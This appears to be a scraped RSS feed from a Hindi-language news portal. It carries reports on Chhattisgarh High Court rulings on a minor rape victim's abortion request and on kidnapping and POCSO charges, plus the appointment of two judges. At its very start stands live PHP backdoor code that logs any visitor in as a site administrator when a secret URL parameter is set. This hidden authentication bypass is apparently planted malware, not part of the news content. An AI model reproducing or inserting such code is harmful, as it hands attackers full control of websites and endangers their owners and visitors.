// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Chhattisgarh High Court – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 03 Jan 2025 14:27:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 छत्तीसगढ़ हाईकोर्ट ने जबरन यौन संबंध से गर्भवती हुई नाबालिग की अबॉर्शन कराने की इजाजत दी https://pratyushaashakinayikiran.com/?p=116919 Fri, 03 Jan 2025 14:27:00 +0000 https://pratyushaashakinayikiran.com/?p=116919 बिलसपुर

 बिलासपुर हाईकोर्ट ने एक ऐतिहासिक फैसला सुनाया है. हाईकोर्ट ने यौन उत्पीड़न की शिकार एक नाबालिग को गर्भ गिराने की अनुमति दे दी है. दरअसल, हाईकोर्ट ने जबरन यौन संबंध से गर्भवती हुई नाबालिग की गर्भपात की अनुमति मांगने वाले याचिका को स्वीकार किया है. कोर्ट ने कहा बलात्कार पीड़िता को गर्भपात की अनुमति दी जा सकती है. यह उसके मानसिक स्वास्थ्य पर गंभीर चोट है. क्योंकि उसे बलात्कारी के बच्चे को जन्म देने बाध्य नहीं किया जा सकता है.

जबरन यौन संबंध में हुई गर्भवती

सारंगढ़-बिलाईगढ़ जिला निवासी नाबालिग जबरन यौन संबंध बनाए जाने से गर्भवती हो गई. उसने अपने अभिभावक के माध्यम से गर्भ को समाप्त करने अनुमति दिए जाने के लिए हाईकोर्ट में 30 दिसंबर को याचिका पेश की. उसकी याचिका पर विशेष कोर्ट लगाकर सुनवाई की गई. जस्टिस विभु दत्त गुरू ने रायगढ़ कलेक्टर को मेडिकल बोर्ड का गठन कर पीड़िता की जांच कर रिपोर्ट पेश करने का आदेश दिया था. हाईकोर्ट के निर्देश पर मेडिकल बोर्ड का गठन कर पीड़िता की जांच की गई.

बलात्कार पीड़िता को मिलनी चाहिए आजादी

जांच रिपोर्ट में पीड़िता के 24 सप्ताह 6 दिन का गर्भ होने एवं भ्रूण के स्वस्थ होने की रिपोर्ट दी गई. इसके साथ गर्भ समाप्त करने अनुमति दी गई. रिपोर्ट आने के बाद जस्टिस गुरू ने पीड़िता को आज सरकारी अस्पताल में भर्ती होने तथा विशेषज्ञ चिकित्सकों द्बारा आईसीयू भर्ती कर गर्भपात करने का निर्देश दिया है. कोर्ट ने इस मामले पर सनुवाई करते हुए आगे कहा कि बलात्कार की पीड़िता को इतनी आजादी और अधिकार मिलना ही चाहिए. यह तय करता है कि उसे गर्भावस्था जारी रखनी चाहिए या नहीं. इस मामले में हाईकोर्ट ने आरोपी के खिलाफ अपराध पंजीबद्ब होने के कारण गर्भपात के बाद भ्रूण को डीएनए टेस्ट के लिए सुरक्षित रखने का निर्देश दिया है.

जरूरी है कोर्ट की अनुमति

आपको बता दें कि कानून के मुताबिक, 20 सप्ताह से अधिक के गर्भ को समाप्त करने के लिए कोर्ट की अनुमति आवश्यक है. बिना कोर्ट से अनुमति लिए गर्भपात नहीं किया जा सकता. 

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छत्तीसगढ़ उच्च न्यायालय में दो नए जज नियुक्त, सुप्रीम कोर्ट के कॉलेजियम ने नामों पर लगाई मुहर https://pratyushaashakinayikiran.com/?p=55951 Wed, 31 Jul 2024 12:56:00 +0000 https://pratyushaashakinayikiran.com/?p=55951 बिलासपुर.

छत्तीसगढ़ हाईकोर्ट में दो नए जज नियुक हुए हैं। अधिवक्ता बिभु दत्ता गुरु और अधिवक्ता अमितेन्द्र किशोर प्रसाद के नाम पर सुप्रीम कोर्ट कॉलेजियम ने मुहर लगा दी है। बता दें कि बीते 21 फरवरी को छत्तीसगढ़ हाईकोर्ट के मुख्य न्यायाधीश ने अपने दो वरिष्ठतम सहयोगियों के साथ सलाह-मशविरा करने के बाद इन अधिवक्ताओं के नाम की सिफारिश कॉलेजियम से की थी।

छत्तीसगढ़ के मुख्यमंत्री और राज्यपाल ने इस सिफारिश पर सहमति जताई है। न्याय विभाग की रिपोर्ट के अनुसार, अधिवक्ता बिभू दत्ता गुरु की ईमानदारी के खिलाफ कुछ भी प्रतिकूल नहीं पाया गया है। उन्होंने उच्च न्यायालय में कई मामलों में प्रतिनिधित्व किया है, जिनका विवरण 54 रिपोर्टेड जजमेंट्स में है। उनकी उम्र और बार में ख्याति को ध्यान में रखते हुए, कॉलेजियम ने उन्हें हाईकोर्ट का जज नियुक्त करने के लिए उपयुक्त माना है।

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छत्तीसगढ़ हाईकोर्ट ने कहा-आरोपी का उद्देश्य जानना जरूरी, लड़की को भगाकर अपहरण करना दुष्कर्म नहीं https://pratyushaashakinayikiran.com/?p=54975 Sat, 27 Jul 2024 16:56:00 +0000 https://pratyushaashakinayikiran.com/?p=54975 बिलासपुर/महासमुंद.

छत्तीसगढ़ हाईकोर्ट ने एक महत्वपूर्ण फैसले में कहा है कि नाबालिग लड़की को साथ ले जाने पर हर बार भारतीय दंड संहिता की धारा 366 के तहत दुष्कर्म के लिए अपहरण का अपराध नहीं माना जा सकता। कोर्ट ने कहा कि दुष्कर्म के लिए अपहरण का अपराध साबित करने के लिए आरोपी के उद्देश्य की जांच करना भी आवश्यक है। साथ ही दुष्कर्म साबित भी होना चाहिए।

चीफ जस्टिस रमेश सिन्हा और जस्टिस रवींद्र कुमार अग्रवाल की डिवीजन बेंच ने महासमुंद जिले के एक मामले में यह फैसला सुनाया है। ओडिसा के ओनकी गांव के निवासी 24 वर्षीय ठंडा राम सिदार पर महासमुंद जिले की एक नाबालिग लड़की के कई बार अपहरण करने का आरोप लगा था। पीड़िता के पिता ने पुलिस को की गई रिपोर्ट में बताया कि 17 नवंबर, 2022 की रात को ठंडा राम उनकी बेटी को मोटरसाइकिल पर ले गया। अगले दिन लड़की को वापस लाया गया। हालांकि, 28 नवंबर, 2022 को ठंडा राम ने फिर से उसका अपहरण करने का प्रयास किया, लेकिन पीड़िता की मां और एक पड़ोसी ने उसे रोक लिया। आरोपियों ने कथित तौर पर उन्हें धमकी दी कि अगर उन्होंने हस्तक्षेप किया तो वे उन्हें जान से मार देंगे। पुलिस ने आईपीसी की धारा 363 (अपहरण), 506 (आपराधिक धमकी), 366 (विवाह या अवैध संभोग के लिए मजबूर करने के इरादे से अपहरण) और 376 (बलात्कार) के साथ-साथ यौन अपराधों से बच्चों के संरक्षण (पॉक्सो) अधिनियम की की धारा 4(2) के अंतर्गत एफआईआर दर्ज की। हाईकोर्ट ने पीड़िता के बयानों, मेडिकल रिपोर्ट और गवाहों की गवाही सहित प्रस्तुत साक्ष्य का सावधानीपूर्वक विश्लेषण किया। कोर्ट ने साक्ष्यों के आधार पर पाया कि पीड़िता नाबालिग थी। स्कूल के दस्तावेजों के आधार पर उसकी आयु 14 वर्ष थी। इस आधार पर हाईकोर्ट ने धारा 363 आईपीसी के तहत दोषसिद्धि को बरकरार रखते हुए दी गई 5 साल व अन्य सजा को उचित ठहराया। यह देखते हुए कि आरोपी ने वास्तव में नाबालिग को उसकी सहमति के बिना उसके वैध संरक्षक से अलग कर दिया था। अदालत ने इस बात पर जोर दिया कि नाबालिग को उसके वैध संरक्षक से अलग करना या या बहलाना इस धारा के तहत अपहरण माना जाता है। हाईकोर्ट ने धारा 366 आईपीसी के तहत दोषसिद्धि को खारिज करते हुए कहा कि केवल अपहरण इस धारा के तहत अपराध का गठन करने के लिए पर्याप्त नहीं है। अभियोजन पक्ष को यह साबित करना होगा कि अपहरण पीड़िता को शादी करने या अवैध संभोग में संलग्न होने के लिए मजबूर करने के इरादे से किया गया था। अदालत को इस मामले में इस तरह के इरादे का समर्थन करने के लिए कोई सबूत नहीं मिला।

अदालत ने कहा, 'धारा 366 के तहत अपराध बनाने के लिए, अपहरण के तथ्य को साबित करने के अलावा, अभियोजन पक्ष को यह साबित करना होगा कि उक्त अपहरण धारा में उल्लिखित उद्देश्यों में से एक के लिए था। केवल अपहरण से कोई आरोपी इस दंडात्मक प्रावधान के दायरे में नहीं आता।' इस आधार पर कोर्ट ने धारा 376 आईपीसी और पॉक्सो अधिनियम की धारा 4(2) के तहत आरोपों से भी आरोपी को बरी कर दिया। कोर्ट ने पाया कि मेडिकल जांच और फोरेंसिक साक्ष्य से भी बलात्कार के आरोप सिध्द नहीं हुए। पीड़िता के शरीर पर किसी भी शारीरिक चोट या बलात्कार के निशान मेडिकल और फोरेंसिक जांच में नहीं पाए गए।

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